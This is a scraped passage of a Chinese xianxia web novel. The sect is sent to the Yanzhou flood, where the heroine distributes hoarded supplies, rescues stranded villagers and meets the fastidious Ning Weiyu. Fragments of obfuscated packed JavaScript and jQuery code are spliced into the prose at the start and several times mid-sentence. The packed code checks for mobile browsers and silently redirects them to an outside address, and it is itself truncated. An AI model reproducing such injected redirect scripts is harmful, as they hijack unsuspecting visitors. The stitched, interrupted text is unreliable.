l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292573|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后难得也是眉头紧皱,他沉吟许久,才摇了摇头:“这病状我也未曾听说过,对方竟派了化神期的邪修来清扫秘密,此事怕是小不了。” 他抬眼看向谢疏言,语气松了几分:“刚经历恶战,又奔波多日,先回去好好休息养足精神。我这就去见掌门师兄他们,一同商议商议。” 谢疏言起身躬身:“是,师尊。” 不过谢疏言倒也不急着回自己的居所,想着许久未见陆远声,便打算先去符天峰看看。沈玄宁听了,脸上顿时露出几分古怪的神情,但还是同他一起去了。 陆远声这两年在沈玄宁的百般劝说下吃上了软饭,几乎是躺在灵石上修炼,心化魔种的净化速度也是快得惊人,短短五年竟然已经净化了五分之一,修为也已经达到了筑基后期的地步。 他的性格自然是有了天翻地覆的变化,只是这性子的转变却完全没按沈玄宁的预想走。陆远声不像从前那样冷若冰霜沉默寡言,却也没变得活泼可爱。 话是真的多了不少,但是没多对方向啊! 更让她意外的是,他竟和五师兄常玄慈格外投契,二人时常在一处,常玄慈指点他修行,还带他一道出了不少师门任务。 沈玄宁私下里不止一次犯嘀咕:这原著里也没见他和常玄慈关系这么好啊? 陆远声跟着常玄慈待久了,结果是近朱者赤,和常玄慈一道成了戒律峰的编外人员,因为陆远声偏爱穿白衣,常玄慈又时常着玄衣,所以被内门弟子们私底下悄悄称为黑白双煞。 谢疏言他们刚到符天峰,就看到陆远声正逮着了准备偷溜下山的鹤穗。 陆远声抬手拦在了鹤穗面前:“无师门令,不可无故下山。” 鹤穗眼睛一转,一副乖巧模样:“我是下山去给师尊买酒。” 陆远声只淡淡瞥了她一眼:“师尊今日的师门任务已发,是我贴的。” 鹤穗:“……” 说起鹤穗,沈玄宁也是十分震惊。 她这两年变化也是不小,或者说她本来就是这样的,从前因为不相熟所以不知道。 鹤穗当真算得上是活泼好动的性子,逮鸡烧烤的事情没少做,酒也是没少喝,可以说和原著那个温婉有礼,气质如兰的大美人几乎没有什么太大的关系。 不过这倒和沈玄宁十分合拍,二人时常一道躲着陆远声和常玄慈鬼混。 陆远声这几年逮了鹤穗不少次,二人也算是相熟了。 沈玄宁崩溃,我是想让你们相熟,但不是这种相熟好吗! 温柔对视呢?互生情愫呢?这些暧昧桥段都到哪里去了? 好好的同门师兄妹小情侣怎么变成针锋相对的冤家了!!! 谢疏言不知道是对陆远声滤镜太厚还是怎么,看到这样的画面他竟然嘴角轻轻勾起一抹浅笑,叫道:“阿声!” 陆远声听见这声音,瞬间收了严肃模样,猛地回头望去,见是谢疏言立刻是有些激动地跑到近前:“少爷!你回来了!” 鹤穗看向另外一边的沈玄宁,二人鬼鬼祟祟地交换了个眼神。 沈玄宁会意,趁陆远声注意力全在谢疏言身上,悄悄和鹤穗靠近,而后在她腰间的弟子令牌上轻轻拍了一下。 鹤穗立刻感应到储物空间里多了不少东西,神识一扫,万分满意地冲着沈玄宁点点头,作了个口型。 “好姐妹。” 37.七星任务 沈玄宁最近一直在忙着准备东西,顺便把烟州水患这个副本的所有细节又从头到尾都过一遍,方便到时候随机应变。 按原著时间的推算,此刻的烟州,怕是早已洪水滔天。 城镇被洪水淹没,屋舍倾颓,无数百姓流离失所的哭喊声响彻了整个烟州。烟州是碧霞仙居的辖地,他们自然不会坐视不管,如今已联合官府的人开仓放粮、派遣弟子搜救灾民。 只是那些派出去的碧霞仙居弟子,竟都悄无声息地消失了,无一例外。 果不其然。 鹤游子的传讯纸鹤送到了问剑峰,说是有紧急师门任务颁布。 这第一个大副本终于来了,而且比沈玄宁预想的时间要早不少。 坐忘峰议事殿内,檀香袅袅,气氛却异常凝重,各峰峰主分坐两侧,或低头沉思,或眉目紧锁,主位上的宗主鹤游更是难得的神色沉肃。 碧霞仙居位于汀州,与逍遥宗所在的浔州之间相隔甚远,想要消息一日将送达逍遥宗,能用的最快的方法就是信香传讯法。 而此次用以传讯的信香,是以千年灵木为原料,经特殊工艺炼制而成的香柱,不仅价值连城,更需至少三名元婴修士合力注入庞大灵力才能点燃。 一经点燃,异香凝聚的讯息便能瞬息之间跨越万里山河,若非事出紧急,碧霞仙居也不会用这样的传讯之法。 沈玄宁他们入殿的时候已经有不少弟子侯在殿内了,众人目光交汇,能让宗主召集所有核心弟子,甚至连问剑峰的人都到了,定是出了大事。 鹤游见最后几人也已入列,便不再耽搁,直接开门见山:“今日召大家前来,是因碧霞仙居发来紧急求援。此次师门任务事关重大,所需人手众多,因此定为——” 他抬手从袖中甩出一枚金色玉简,玉简甫一脱手,便浮至殿中,骤然放大数倍,其上纹路亮起,最顶端七颗金色的星星熠熠生辉。 七星级的师门任务! 逍遥宗师门任务的上限从来不是五星,只是五星以上的任务不对所有弟子公示,只直接指派人去完成,逍遥宗近百年来,七星级任务也不过出现过几次。 烟州水患已爆发七日。 据碧霞仙居传来的讯息,此次洪水冲毁了七个堤坝,共有十二个城镇被淹,良田屋舍如今都成了一片汪洋,数十万的百姓流离失所,伤亡目前无法完全统计。 鹤游用灵力幻化的一幅烟州地形图在殿中展开,山川、河流、城镇的轮廓清晰可见,受灾地区以红色标注,此刻地图上大片的区域全都被刺眼的红色覆盖,连绵成片看得人触目惊心。 鹤游道:“烟州境内凭空出现了一个组织,名为千灯教。他们似乎早有准备,赶在了官府和碧霞仙居之前救济灾民,如今已经笼络了不少教徒,而碧霞仙居派出去救援的内门弟子,共计三百二十七人,已全部失踪,没有一人传回消息。” “此行首要任务,是协助碧霞仙居救济灾民、安顿百姓。其次则是要查明这千灯教的底细,并全力寻回碧霞仙居失踪的弟子。” “这次的师门任务等级虽为七星,却不是有硬仗需要攻坚。所以这次任务以栖霞峰弟子为主,其他主峰弟子均为辅,自愿前往。” 他话音刚落,殿内已响起此起彼伏的应答之声。 “掌门师伯,弟子愿往!” “弟子愿往!” “弟子也愿往!” 在场收到传讯纸鹤的,都是内门弟子中的精英了,自然是不会有人退却不去,但也不能全去。鹤游子目光扫过各峰峰主,微微颔首,各大峰主便依次起身点名,主要还是以栖霞峰、百灵峰、扶疏峰的三大主峰的弟子为主。 问剑峰峰主明净依然不在,鹤游子便亲自点了问剑峰的人选。 因为问剑峰其他人都有师门任务在身,这次便是只有只有排行第五的常玄慈、第六的冷玄明,以及排行第七的沈玄宁三人随队前往烟州。 各峰的清点很快结束,两百余人的队伍就此敲定。烟州与浔州相隔千里,若全程御剑飞行,金丹以下弟子怕是未到目的地便灵力耗竭,所以此次前往烟州是以百灵峰豢养的飞行灵兽作为主要代步。 “各自回峰准备行装、清点法器,一个时辰后,太极广场集合出发。”鹤游示意众人散去。 沈玄宁早在几日前就收拾好了东西,眼下没有什么东西要准备的,刚出了议事殿,她掏出一张传讯灵符。 灵符消散,是赵琳琅给她发来的信号。 她略一思忖,抬手召了破妄剑,回头和常玄慈道:“师兄,我下山一趟,一会儿就回来。” 说罢化作一道流光,径直御剑下了逍遥宗,朝着山下的云山镇飞去。 冷玄明追了两步喊道:“哎!一会儿就出发了,你现在往哪儿跑啊!” 沈玄宁下了山,径直去了黄金楼,赵琳琅已经在里面等她了,见她来立刻迎了上去:“宁宁,你要的东西都准备好了。” 赵琳琅取出了十几个锦囊摆在桌上,都是特制的,比寻常的储物袋能装数倍。 “这里面是这些年按你要求,分批从各地收来的粮食,还有你要的粗布衣物、帐篷,我按比例分在了每个储物袋里,取用起来方便。”赵琳琅一边说,一边指了指最边上两个绣着莲花图案的锦囊,“这两个里装的是伤药,都是上好的药材。” 沈玄宁一挥手把所有的东西都收进了系统空间内:“好,还要继续收,粮食、衣物、帐篷,这些东西有多少收多少,还有木材、石料这些建筑材料也别落下,有一批算一批立刻安排人送往烟州。” “你放心,收到你消息开始我已经在着人盘账了,会把手头所有能用的资金都拿出来。”赵琳琅应下,却还是忍不住多问了一句,“宁宁,我昨天听跑商的伙计说烟州那边是发了大水,现在情况如何?” 沈玄宁皱眉道:“情况不好,逍遥宗已经召集弟子前往了,我等下就要出发。” 赵琳琅道:“你放心,东西我会继续买的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298130|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈玄宁道:“辛苦你了,琳琅,现在的东西确实不够。” 她也想早早就开始大批量收购物资,可一旦大量囤粮,日后万一被有心人顺藤摸瓜地查到什么蛛丝马迹,难免会被人猜测是提前预知了水患。 所以这些年,沈玄宁只能让赵琳琅借着各地铺子的遮掩,一点点攒积,五年下来已经积累一个可观的数字。可即便如此,面对烟州的灾情,也是远远不够的。 赵琳琅道:“这一次去烟州,吉利要去吗?” 沈玄宁摇了摇头:“吉利不去,不过小谢,还有阿声和阿梨都在队里。” “这样也好。”赵琳琅点了点头,又道,“等这边的事交代好,下一批物资我亲自去送。” 沈玄宁没有立刻反驳,只是认真地看着赵琳琅:“琳琅,我不反对你去,但你得想清楚。烟州现在灾民遍地,还有邪教还在暗处活动,潜在的危险太多了。如果你非要去,一定要照顾好自己,到了烟州就紧跟着碧霞仙居或者官府的赈灾队伍,千万别单独行动,也不和千灯教有任何牵扯,有什么情况立刻用传讯符联系我。” “你放心,我知道轻重。”赵琳琅拍了拍她的胳膊,“你快回去吧。” “嗯,我回去了。” 等她御剑赶回逍遥宗时,太极广场上已经站了不少人,大家三三两两地低声交谈,神色都是颇为凝重。 沈玄宁刚走到常玄慈附近,就听见头顶传来一阵清脆的鹤鸣,抬头望去,十几只凌云仙鹤正展开宽大的羽翼,从百灵峰方向缓缓飞来。 它们体型足有寻常仙鹤的几倍大,羽毛雪白,喙爪金黄,显然是特意为载人准备的,一只鹤载十几个人绰绰有余。 沈玄宁选了第一只仙鹤直接上去坐定,不多时,所有弟子都已登鹤,十几只凌云仙鹤齐齐昂首鸣叫,翅膀扇动着卷起阵阵清风。 鹤游依旧站在太极广场中央,目光扫过每一位弟子,声音沉稳:“此行务必小心,平安归来。” “是,掌门师伯!” 鹤游子微微颔首,抬手挥了挥。领头的仙鹤率先发出一声长鸣,振翅腾空而起,其余仙鹤紧随其后,朝着烟州的方向飞去。 沈玄宁坐在鹤背靠前的位置,双手搂着凌云仙鹤修长的脖颈发愣。 身后的常玄慈正和陆远声低声讨论着什么,她却没怎么听进去。沈玄宁微微俯身,看着下方的逍遥宗山门一点点缩小,云雾缭绕的峰峦渐渐模糊,片刻后,她抬起头,望向远方的天际。 所有人都没有察觉,就在他们乘坐的仙鹤群飞远后,宗门上空的忽然有了一道轻微的空间扭曲,一道白衣身影无声无息地浮现出来,衣袂在风中轻轻飘动。 他的目光紧紧追随着那群逐渐远去的仙鹤,眼神里翻涌着复杂难辨的情绪。 许久后那人才轻轻叹了口气,声音轻得像一阵风,消散在云雾里:“宁儿,一路平安。” 而后那道身影便是渐渐透明,最终彻底融入云层,消失不见,仿佛从未出现过一般。 38.人间炼狱 千灯教五年前暗中抓捕了被魔族封印在灵州沧澜江底的黑水玄蛟,驯化操控搅动了烟州水域,才引得洪水滔天。而他们又在非常恰当的时机以救苦救难的姿态出现在灾民面前。 广开粮仓、救治伤员,他们里应外合假意治水,自然是颇有成效,成功笼络了大批教众。 千灯教声称只要信徒以虔诚之心为逝去的亲人供奉长明灯,就能与逝去的亲人再度相见。 这等说辞对因大水失去亲人而陷入绝望的灾民而言,无疑是致命的吸引。 于是他们抱着最后的希望,跪倒在长明灯前,成了千灯教最虔诚的信徒。 短短几日,千灯教的信徒便激增数万。他们盘踞在烟州各大灾民聚集点,设坛布教,势力如野草般疯长,竟隐隐与碧霞仙居、地方官府的赈灾队伍形成了三足鼎立、互相制衡的诡异局面。 正因如此,碧霞仙居才无法与千灯教正面冲突,眼下灾情严重,若是三方起了内讧,最先遭殃的还是百姓。权衡之下,逍遥宗与碧霞仙居只能暗中悄悄追查失踪弟子的下落以及千灯教的真实底细。 几百年难遇的大水与突然崛起的教派,只是魔族筹谋千年的开端。千灯教收拢信徒,将这些被绝望与执念裹挟的凡人,用所谓的净水加以区分。 喝过净水被洗去杂念的凡人,其血肉会变得更为纯净,最终沦为黑水玄蛟的口中食,而那些执念过深、无法被净水涤荡的人,则会被渡化成魔,他们的执念之力会化作怨气,而这些怨气都是魔族的养料。 至于那些失踪的碧霞仙居弟子,自然是与凡人不同。 修仙之人心志更坚,无论是对宗门的忠诚、对大道的渴求,其执念的力量都远非凡人可比,等到被抽取炼化,就会成为魔族突破封印的力量之源。 凌云仙鹤飞行了三日有余,期间沈玄宁多数时候都在闭目入定,她在脑内反复推演,应该如何微妙地提示仙门的人一步步查探到千灯教的秘密。 到了第四日清晨,他们已经正式进入了烟州地界。 沈玄宁抬眸望去,原本澄澈的天空已被一层灰蒙蒙的水汽笼罩,空气中弥漫着潮湿的土腥味和尸体腐烂的臭味。 低头俯瞰,下方早已没了来时路上的青山叠翠与城镇烟火,取而代之的是一片望不到边际的浑浊水域。曾经滋养一方百姓的良田被彻底吞没,水面上零星漂浮着断木、碎瓦,几截倾斜的屋梁在洪水中摇摇欲坠。 沈玄宁的目光忽然被一处地势较高的土坡吸引,上面密密麻麻挤满了衣衫褴褛的灾民,他们或坐或卧,大多面黄肌瘦,眼神空洞,孩童的哭声与老人的咳嗽声隔着风飘来,听得人心头发堵。 “我去前面看看情况!”沈玄宁说完便翻身跃下仙鹤。 破妄剑瞬间出现,稳稳悬在她脚下,沈玄宁足尖一点剑身,朝着那处土坡疾驰而去。 靠近土坡时,她放缓了速度,看清了坡上的全貌。 约莫有百余人挤在不足半亩的土坡上,有人实在渴得不行,就跪在坡边,用脏污的双手掬起浑浊的河水往嘴里灌,几个妇人把孩子紧紧搂在怀里,看着孩子因饥饿而干裂的嘴唇,嘶哑的哭声让她们止不住地抹眼泪。 灾民们看到沈玄宁御剑而来,一身气质出尘的模样,浑浊的眼睛里瞬间爆发出光亮,像是抓住了最后一根救命稻草。 “是仙人!仙人来了!”不知是谁先喊了一声,紧接着,土坡上的灾民们纷纷挣扎着起身,不顾浑身的泥泞与疲惫,朝着沈玄宁跪了下去,有的甚至磕起了头。 “终于有仙人来了!!!” “仙人求求你,救救我们吧!孩子们也快饿死了!!” “仙人,我爹娘还被困在对面的屋顶上,求求你去救救他们!” “仙人!求求你救救我的孩子!他已经好几天没吃东西了,再这样下去就……”妇人抱着气息微弱的孩子爬到最前面,哭得撕心裂肺,几乎要晕厥过去。 沈玄宁刚落地便收了破妄剑,眼前的灾民已纷纷匍匐在地,哀求声此起彼伏让她心中猛地一酸。 作为一个自小在现代优渥环境中长大的大小姐,她从未见过这般人间炼狱。四周是望不到头的浑浊洪水,水面上漂浮着发胀的牲畜尸体,偶有浮尸随波漂过,触目惊心。 “别急别急!我有吃的!” 沈玄宁指尖在腰间虚划,借着腰间悬挂的锁灵囊遮掩,从系统空间取了东西。 下一秒,几篓冒着热气的白面馒头、几大桶装满浓稠白粥的木桶还有不少干净的空碗便凭空出现在土坡上,蒸腾的香气瞬间弥漫开来。 这是她一直在系统空间里提前备好的,系统空间的储物功能远比这修仙世界的储物袋、锁灵囊神奇,只要存入其中,食物的温度与新鲜度便会彻底定格,此刻取出来,还像刚出锅一般。 “吃的!是吃的!” “有吃的了,是馒头!!” “多谢仙人!多谢仙人!” 最先反应过来的是个皮肤黝黑的青年,原本麻木空洞的眼神瞬间亮起,他直接给沈玄宁磕了两个头,然后踉跄着扑到粮食边,粗糙的手刚碰到温热的馒头,却没立刻往自己嘴里塞。 他反手抓了四五个馒头,立刻就塞给身后涌来的人:“快!给娃和老人先吃!” 其余灾民也跟着围了上来,却当真没有半分争抢。他们显然是同村的乡亲,男人们自觉地站在边上,先把馒头和粥碗递向抱着孩子的妇人、老人,等妇孺老弱都领到吃食,他们才开始分剩下的。 此刻一个妇人怀里抱着个孩童满脸着急地冲着沈玄宁喊道:“仙人,仙人求求你看看我的孩子吧,他快要不行了!” 她怀里的孩子蜷缩着身子,小脸苍白得像纸,嘴唇干裂起皱,胸口起伏微弱得几乎看不见,只有睫毛偶尔轻轻颤一下,证明还有气息。 沈玄宁刚想上前,身后忽然传来一道温和的声音:“我来吧。” 她乘坐的那只凌云仙鹤正煽动着翅膀,稳稳悬停在土坡边缘。 不等沈玄宁开口,谢疏言已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303250|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到她身侧,目光径直落在妇人怀里的孩子身上。 他矮下身,两根手指轻轻搭在孩子的腕脉上,片刻后,他又抬起手,动作轻柔地拨开孩子紧闭的眼睑,眼白处泛着淡淡的青灰色。 谢疏言问道:“可是喝了这里的水?” 这坡下的洪水,早已是恶臭不堪,就算是成年壮汉喝了,恐怕也要闹一场大病,更别提这本就虚弱不堪的孩子。 “是是是!都怪我没看好他!”妇人闻言,眼泪瞬间决堤,抱着孩子的手不住发抖,“孩子饿得实在不行了,没留神他就爬去坡边,偷喝了几口坡下的水……仙人,我真的没办法了啊!” “好,我知道,你放心,他会好的。”谢疏言的声音放得极轻,却带着一种安定人心的力量,很快就安抚了妇人的情绪。 谢疏言的手探在这孩童的额间,指尖浅浅的灵力很快融进了他的身体,那孩童原本泛着青灰的小脸,竟以肉眼可见的速度褪去了几分浊色,连呼吸都比之前平稳了些。 不过片刻,孩童紧闭的眼睛轻轻动了动,缓缓睁开了一条缝,虚弱地哼唧了一声。 妇人见状,立刻激动了起来。 沈玄宁适时递过一碗白粥,粥面还冒着热气,她手贴着碗底,用略带寒气的灵气调节了一下温度,此刻恰好是适口温度。 妇人连忙接过,小心翼翼地用勺子舀起喂到孩子嘴边。 沈玄宁站在一旁,看着孩童小口吞咽粥水的模样,心里其实是有几分震惊的。 方才这孩童眼白泛青、气息滞涩,分明是中了尸毒。洪水泡着浮尸,尸气渗入水中,凡人喝了轻则上吐下泻,重则毒素攻心,半日就能断气。 栖霞峰是很厉害,可包治百病也该有个限度,这孩子虽看着症状不算最严重,但尸毒入体哪是这么容易解的?谢疏言放在这轻飘飘的一下,竟就把尸毒给解了? 虽有疑惑,但此刻显然不是询问的时候。 常玄慈扫了一眼地上众人:“其他人先过去碧霞仙居的驻扎地了,我们也想办法把他们一道转移过去吧。” 凌云仙鹤素来以飞行迅疾闻名,可正因要保证灵活性,这坐的人数就少了些。这么多人,显然这仙鹤是坐不下的,。 沈玄宁道:“好,我有办法。” 她从系统空间里取出一个巴掌大的精巧木车。她一抬手而后注入灵力,原本小巧的木车瞬间嗡嗡震颤,以肉眼可见的速度变大,不过几息功夫,就长成了一个足有两丈宽、三丈长的实木车悬浮在空中,车身边缘还自动升起半人高的护栏,刚好能容纳这百余人稳稳坐下。 而车身最底下是一个金光闪闪的聚灵阵在缓缓转动。 冷玄明看着那凭空变大的木车,非常不适时地开口:“小师妹,我有时候真的怀疑你到底是我们问剑峰的,还是他们玲珑峰的。” 沈玄宁道:“这东西还能变更大呢,虽然能坐的人多,就是速度贼慢,一会儿我找个缚灵索固定好,让仙鹤拉着走就行了,速度也能快些。” 39.宁家二少 常玄慈与陆远声等人驾着凌云仙鹤,牵引着载满灾民的机关车,朝着碧霞仙居最近的驻扎地方向飞去。鹤鸣渐远,土坡上只剩下沈玄宁与谢疏言两人。 “这里是烟州边界,瞧着这村子看着不像只有方才那么些人。”沈玄宁望着远处被洪水分割的零星高地,眉头微蹙,边缘地带的水势虽稍缓,却更显零散,不少地势稍高的土丘或断楼上,隐约能看到有被困者。 谢疏言顺着她的目光望去,果然瞧见几处高地隐约有动静,便开口道:“那我们现在这附近找找?” “嗯,等等。”沈玄宁抬手按住他的手臂,指尖迅速捏了个灵巧的诀,将指腹抵在额间。瞬间神识外扩,扫过周围的大片水域。 谢疏言笑道:“金丹期的神识,还能这么用?” “是啊,这是我三师兄教我的。”沈玄宁嘴角上扬,“我还有一招呢。” “嗯?” “给你看看。”沈玄宁二话不说,伸手拉住谢疏言的胳膊,稍稍用力将他往下拽了些许,与此同时自己微微仰头,与他额头相贴,“闭眼,凝神。” 谢疏言依言照做,刚一闭眼就被自己脑海里的景象震惊了。 瞬息之间,沈玄宁的神识一跃千里,以超乎想象的速度瞬间横跨了整片水域,被困在断壁上的百姓、在洪水中挣扎的牲畜、被水流冲垮的村落废墟。 一切都尽收于脑海里。 不过这一切震惊的并不止谢疏言,沈玄宁自己也愣在了原地。 神识共享,这是三师兄宋玄之教她的用法。 本是将自己的神识探查到的东西分给他人,相当于将一份力量拆成两半用,探查距离和精准度只会比单独使用时削弱,怎么到了她这里,反而硬生生将探查范围扩大了两倍多,而且还清晰了不少。 她松开拉着谢疏言的手,下意识地后退半步,眼里满是困惑,睫毛微微眨了眨。 方才那铺天盖地的感知还在识海余韵未消,可这超出常理的范围,实在让她想不通。 难道是谢疏言帮她扩大了神识范围? 谢疏言赞叹道:“这就是金丹期的力量吗?果然厉害。” “倒也不是。”沈玄宁老实道,“我平时自己单独用的时候从来没有过这么大的范围。不知道为什么,刚刚和你共享,神识一下子就扩出去两倍多,这倒是很奇怪。” 谢疏言若有所思:“这样吗……” 不过现在不是研究这个的时候,还是以救人为要紧事。 沈玄宁从锁灵囊里把大强召了出来,大强这些年经过她还有问剑峰众师兄的投喂,已经成功进阶到了三阶灵兽。 如今的它已经可以自由控制身形大小,此刻它变成了半人高的模样,圆滚滚的身子上顶着一对巴掌大的粉色小翅膀,这小翅膀虽看着迷你,扑棱扑棱的却足够支撑它灵活飞行。 大强此刻扇着迷你小翅膀浮在空中,小眼睛半眯着,颇有些没睡醒的困倦模样,漫不经心地扫了沈玄宁和谢疏言一眼,鼻尖还傲娇地动了动。 谢疏言道:“大强都长这么大了?” 大强一听这话,喉咙里发出一声不屑的哼哼,但又忍不住把圆滚滚的身子又悄悄变大了一圈。 沈玄宁忍不住嘴角抽了抽:“……” 明明小时候就很可爱,怎么长大了专用鼻孔看她,还总是这么不屑! 是她养的方法有哪里不对吗!可是他们明明是灵兽亲和榜仅次于连柏的存在啊! 真是只心口不一的猪啊。 沈玄宁又从空间里取了一个和先前一样的小木车,只是这次考虑到大强在空中飞行时终究是不如凌云仙鹤,她没有像之前那样将木车催涨到那么大。 “好了,你来拉车。”沈玄宁对着大强递了个眼色。 大强扇动小翅膀的动作猛地一顿,小眼睛瞬间睁得老大,它一脸屈辱地坐在了地上:“……” “快点的。”沈玄宁踢了踢它的屁股,“别磨蹭了,堂堂三阶灵兽,在这儿装什么柔弱,你看三师兄给你喂的,现在修为比我都高了。” 这倒确实没说错,大强已到了三阶灵兽的中期,相当于人类修士的金丹期后期,自然是比沈玄宁这个金丹初期强一些的。 有了先前神识共享时标记的精准位置,沈玄宁和谢疏言搜人时效率极高,不过这一下没法带走所有人。 她挑选了西侧一处地势较高、没被水淹的宽阔平地作为临时集结点,把附近散落的人都搜罗了起来,然后开始从储物袋里面往外取东西。 沈玄宁留下了足够他们等待半月的粮食衣物还有帐篷,打算后面一趟趟来运人。 等把这一车都装满了人便是准备去往离这最近的一个碧霞仙居驻扎点,大强不知怎的莫名变得特别卖力,拖着这一车人嗖一下飞得老远,把这一车的百姓吓得够呛。 沈玄宁和谢疏言御剑很快就追上了大强,这一路扫过来,不得不说这搜救的任务确实还挺严峻的。 即使早已在心中有过预想,但是烟州水患的严重程度还是超出了沈玄宁的想象,其他修为低一些的修士,可能还没有他们俩搜得这么快,官府的那些凡人自然是效率更低了。 更何况还要防止这大水再次袭来。 看来这后面有得忙了。 沈玄宁他们御剑飞了约莫一炷香的功夫,前方的天空忽然出现了一抹醒目的金色,那是碧霞仙居的旗帜。 前方是一篇地势较高的开阔地,地面早已被修士用灵力夯实,密密麻麻搭满了青色帐篷,帐篷间的通道规划得整整齐齐,不时有碧霞仙居的弟子提着药箱穿梭其中,忙而不乱。 最显眼的是场地中央那座临时搭建的高台,高台上立着一根丈许高的木杆,一面绣着金色火焰的旗帜正迎着风猎猎招展。 作为修真界里以炼丹闻名的超级宗门,碧霞仙居的丹火素来以纯净炽烈著称,金色火焰不仅是他们炼丹术的象征,也是修为高低的直观体现,火焰越接近金色,修为便是越高。 筑基期弟子多是橙红色,金丹期后便会转为明黄色,待到元婴期,火焰才会渐渐染上金色,且金色越纯粹、越耀眼,便意味着修士对丹火的掌控力越强,修为也越高。 据说到了大乘期的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311878|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修士,丹火甚至能凝成纯金之色,连焰心都是透亮的。 沈玄宁刚随着引路弟子落在驻扎点的空地上,目光一扫就瞧见了不远处几个熟悉的身影,刚要迈步过去和师兄们汇合,头顶忽然传来一阵熟悉的扑棱声。 抬头一看,大强拖着木车慢悠悠飞了过来。它不知是从哪里蹭了满爪的黑泥,随着飞行的颠簸,一路的摇摇欲坠,眼看就要坠下去。 沈玄宁刚想出声提醒,就见一块鸽子蛋大小的黑泥 “啪嗒” 一声从大强蹄子缝里脱落,直直朝着下方坠去。 她心里猛地一紧,目光顺着泥块下坠的方向看去 ——那正下方,恰好站着一个身着白衣的少年。 那少年以金冠束发,衣袍料子极为考究,雪白的绸缎上滚着细密的金边,一身的贵气逼人。 且衣摆裤脚干净得不染半点尘埃,显然是个极爱干净的人。 此时那白衣少年正蹙着眉,侧着身与身旁的仆从说着话,完全没注意到头顶的飞来横祸。 黑泥点在空中划过一道短暂又沉重的弧线,距离他肩头的距离越来越近,眼看就要落在那片雪白的衣料上。 “小心!” 沈玄宁的提醒声脱口而出,可终究慢了半拍。 那少年像是被声音惊动,又似隐约察觉到头顶的阴影,猛地抬头,恰好对上那团飞速下坠的黑泥。 他瞳孔微缩,下意识地往后急退一步可还是慢了些。 黑泥块擦着他的金边袖口飞了过去,啪地一声重重砸在他的靴面上,泥水瞬间四溅,在那双雪白的锦靴上晕开一个巴掌大的泥印,边缘还溅出星星点点的黑渍,格外刺眼。 少年整个人都僵住了。 他站在原地一动不动,目光直直地落在自己的靴子上,脸色一点点沉了下去,方才不耐的眉眼间,此刻满是难以置信的错愕,像是没反应过来发生了什么。 他身后的仆从反应更快,先是倒抽一口冷气,随即是一副天塌了的模样,惊声尖叫起来:“少爷!!!!” 那声音又尖又急,把沈玄宁都吓了一跳。 紧接着,少年身后的几个仆从也纷纷涌了上来,原本还维持着几分体面的姿态,可当看清自家少爷靴面上的泥印、甚至瞥见袖口沾着的一点泥星子时,瞬间都成了一群被踩了尾巴的猫,接二连三地发出土拨鼠尖叫。 “不是……” 这好像……只是个泥点子吧? 沈玄宁默默在脑海里搜索,这样夸张的做派,穿得如此华丽讲究,还是在碧霞仙居,她莫名就锁定了一个人。 碧霞仙居宗主宁镜的次子,宁家二少爷。 宁为玉。 此人是个极端的洁癖,且阵仗十分离谱。 别说沾泥沾灰,哪怕身上衣袍起了半点褶皱,他都要立刻停下所有事,换上新的才肯继续。日常所用之物,更是要反复清洁三遍才肯碰。 果然,下一秒听到仆人大喊道: “快来人呐!!!!” “二少爷衣服脏了!!!!” “啊!!!!!!!!!!!!!” 40.冻死宁二 周围仆从的尖叫声几乎要翻了天,宁为玉本人却没跟着失态。 他只是脸色铁青地盯着缓缓落地的大强,目光又扫过木车里缩着的灾民,那些人被这阵仗吓得大气不敢出,眼神里满是局促,显然也知道这似是刚来就得罪了这位看着就不好惹的贵公子。 大强不愧是大强,它完全没有感觉到周围的低气压,又慢悠悠地踱了两步,然后变成了省力的幼体模样。 一只可爱的小猪。 宁为玉轻飘飘地看了一眼,旁边的仆从立刻上前道:“这是谁的灵兽啊!!” “诶,我的我的。”沈玄宁立刻上前捞起了地上的大强抱在怀里,对着这位洁癖宁二少语气诚恳地道歉,“宁二公子,对不住了,我这个灵兽它确实是比较……不修边幅。” “你的?”宁为玉终于开口,声音冷得像淬了冰。 他的目光落在沈玄宁身上,下意识地扫了一眼她的修为,可这一下,却皱紧了眉头。 宁为玉如今已是筑基大圆满的修为,放眼同辈,能稳压他一头的几乎是没有,可眼前这少女,他有心探查竟半点修为都探不出来。 要么,是她有能遮掩修为的法宝,要么,就是她的修为神识都远在自己之上。 